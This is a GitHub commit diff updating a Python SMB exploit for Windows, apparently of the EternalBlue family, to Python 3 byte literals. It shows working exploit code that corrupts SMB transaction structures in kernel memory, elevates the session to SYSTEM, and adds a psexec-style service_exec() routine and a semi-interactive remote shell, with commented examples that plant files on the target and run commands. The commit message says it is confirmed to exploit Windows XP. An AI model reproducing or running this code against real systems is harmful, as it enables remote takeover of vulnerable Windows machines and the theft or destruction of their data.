Corrections for byte literals, spacing, minor function change, and updated the examples. (#22)

* Force byte literals where required and corrected the string.ascii_letters(). Also corrected
the spacing to conform to the Python style guide (4 spaces and not tabs).

* Force byte literals where required and removed all trailing whitespace. Added
service_exec() from https://www.exploit-db.com/exploits/42315 and updated the
examples in do_system_mysmb_session(). Confirmed to successfully exploit
Windows XP.

* Uncomment the RemoteShell() as it is confirmed to work by the upstream author.
This commit is contained in:
Derrick Karpo
2020-10-24 15:27:53 -04:00
committed by GitHub
parent 4381d6a643
commit cae955e995
2 changed files with 482 additions and 409 deletions
+7 -9
View File
@@ -70,17 +70,17 @@ def _put_trans_data(transCmd, parameters, data, noPad=False):
# Note: Setup length is included when len(param) is called
offset = 32 + 1 + len(transCmd['Parameters']) + 2
transData = ''
transData = b''
if len(parameters):
padLen = 0 if noPad else (4 - offset % 4 ) % 4
transCmd['Parameters']['ParameterOffset'] = offset + padLen
transData = ('\x00' * padLen) + parameters
transData = (b'\x00' * padLen) + parameters
offset += padLen + len(parameters)
if len(data):
padLen = 0 if noPad else (4 - offset % 4 ) % 4
transCmd['Parameters']['DataOffset'] = offset + padLen
transData += ('\x00' * padLen) + data
transData += (b'\x00' * padLen) + data
transCmd['Data'] = transData
@@ -147,7 +147,6 @@ class MYSMB(smb.SMB):
else:
return None
def set_pid(self, pid):
self._pid = pid
@@ -396,7 +395,7 @@ class MYSMB(smb.SMB):
self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
def recv_transaction_data(self, mid, minLen):
data = ''
data = b''
while len(data) < minLen:
recvPkt = self.recvSMB()
if recvPkt['Mid'] != mid:
@@ -411,17 +410,17 @@ class RemoteShell(cmd.Cmd):
cmd.Cmd.__init__(self)
self.__share = share
self.__mode = mode
self.__outputFilename = ''.join([random.choice(string.letters) for _ in range(4)])
self.__outputFilename = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
self.__output = '\\\\127.0.0.1\\{}\\{}'.format(self.__share,self.__outputFilename)
self.__batchFile = '%TEMP%\\{}.bat'.format(''.join([random.choice(string.letters) for _ in range(4)]))
self.__batchFile = '%TEMP%\\{}.bat'.format(''.join([random.choice(string.ascii_letters) for _ in range(4)]))
self.__outputBuffer = b''
self.__command = ''
self.__shell = '%COMSPEC% /Q /c '
self.__serviceName = serviceName
self.__rpc = rpc
self.intro = '[!] Dropping a semi-interactive shell (remember to escape special chars with ^) \n[!] Executing interactive programs will hang shell!'
self.__scmr = rpc.get_dce_rpc('svcctl')
try:
self.__scmr.connect()
except Exception as e:
@@ -580,4 +579,3 @@ class SMBServer(Thread):
self.smb.socket.close()
self.smb.server_close()
self._Thread__stop()
+88 -13
View File
@@ -518,7 +518,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
# maxParameterCount (0x1000), trans name (4), param (4)
indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
indata_next_trans_displacement = info['trans2_addr'] - indata_value
conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
conn.send_nt_trans_secondary(mid=fid, data=b'\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
# if the overwritten is correct, a modified transaction mid should be special_mid now.
@@ -614,9 +614,12 @@ def exploit_fish_barrel(conn, pipe_name, info):
NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
conn.send_trans_secondary(mid=info['fid'], data=b'\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
@@ -653,10 +656,10 @@ def exploit_fish_barrel(conn, pipe_name, info):
# we also modify HIDWORD of InParameter to 0xffffffff.
print('modify parameter count to 0xffffffff to be able to write backward')
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
conn.send_trans_secondary(mid=info['fid'], data=b'\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
if info['arch'] == 'x64':
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
conn.send_trans_secondary(mid=info['fid'], data=b'\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn)
TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
@@ -664,11 +667,11 @@ def exploit_fish_barrel(conn, pipe_name, info):
PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
# modify paramterCount of first transaction
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
conn.send_nt_trans_secondary(mid=special_mid, param=b'\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
if info['arch'] == 'x64':
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
conn.send_nt_trans_secondary(mid=special_mid, param=b'\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
# restore trans2.InParameters pointer before leaking next transaction
conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
conn.send_trans_secondary(mid=info['fid'], data=b'\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn)
# ================================
@@ -677,7 +680,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
print('leak next transaction')
# modify TRANSACTION member to leak info
# function=5 (NT_TRANS_RENAME)
conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
conn.send_trans_secondary(mid=info['fid'], data=b'\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])
@@ -756,11 +759,11 @@ def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroup
fakeUserAndGroupsAddr = userAndGroupsAddr
addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
fakeUserAndGroups = ''
fakeUserAndGroups = b''
for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
addr += len(sid)
fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
fakeUserAndGroups += b''.join(sids[:fakeUserAndGroupCount])
return fakeUserAndGroupCount, fakeUserAndGroups
@@ -829,28 +832,100 @@ def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
with open(localSrc, 'rb') as fp:
smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
# Note: using Windows Service to execute command same as how psexec works
def service_exec(conn, cmd):
import random
import string
from impacket.dcerpc.v5 import transport, srvs, scmr
service_name = ''.join([random.choice(string.ascii_letters) for i in range(4)])
# Setup up a DCE SMBTransport with the connection already in place
rpcsvc = conn.get_dce_rpc('svcctl')
rpcsvc.connect()
rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
svcHandle = None
try:
print("Opening SVCManager on %s....." % conn.get_remote_host())
resp = scmr.hROpenSCManagerW(rpcsvc)
svcHandle = resp['lpScHandle']
# First we try to open the service in case it exists. If it does, we remove it.
try:
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
except Exception as e:
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
raise e # Unexpected error
else:
# It exists, remove it
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
print('Creating service %s.....' % service_name)
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
serviceHandle = resp['lpServiceHandle']
if serviceHandle:
# Start service
try:
print('Starting service %s.....' % service_name)
scmr.hRStartServiceW(rpcsvc, serviceHandle)
# is it really need to stop?
# using command line always makes starting service fail because SetServiceStatus() does not get called
#print('Stoping service %s.....' % service_name)
#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
except Exception as e:
print(str(e))
print('Removing service %s.....' % service_name)
scmr.hRDeleteService(rpcsvc, serviceHandle)
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
except Exception as e:
print("ServiceExec Error on: %s" % conn.get_remote_host())
print(str(e))
finally:
if svcHandle:
scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
rpcsvc.disconnect()
def do_system_mysmb_session(conn, pipe_name, share, mode):
#stringbinding = 'ncacn_np:10.11.1.75[\pipe\svcctl]'
print("[*] have fun with the system smb session!")
# example of creating a remote shell on the remote host
if mode == 'SERVER':
serverThread = SMBServer()
serverThread.daemon = True
serverThread.start()
service_name = ''.join([random.choice(string.letters) for _ in range(4)])
service_name = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
shell = RemoteShell(share, conn, mode, service_name)
shell.cmdloop()
if mode == 'SERVER':
serverThread.stop()
# example of creating a file on the remote host
#smbConn = conn.get_smbconnection()
#print('creating file c:\\pwned.txt on the target')
#tid2 = smbConn.connectTree('C$')
#fid2 = smbConn.createFile(tid2, '/pwned.txt')
#smbConn.closeFile(tid2, fid2)
#smbConn.disconnectTree(tid2)
# example of running a command on the remote host
#smbConn = conn.get_smbconnection()
#service_exec(smbConn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
# example of sending a file to the remote host
#smbConn = conn.get_smbconnection()
#print('Sending file to the the target...')
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
#print('done.')
# example of executing a file on the remote host
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
@@ -913,7 +988,7 @@ def exploit(target, port, username, password, pipe_name, share, mode):
print('[*] make this SMB session to be SYSTEM')
# IsNullSession = 0, IsAdmin = 1
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], b'\x00\x01')
# read session struct to get SecurityContext address
sessionData = read_data(conn, info, info['session'], 0x100)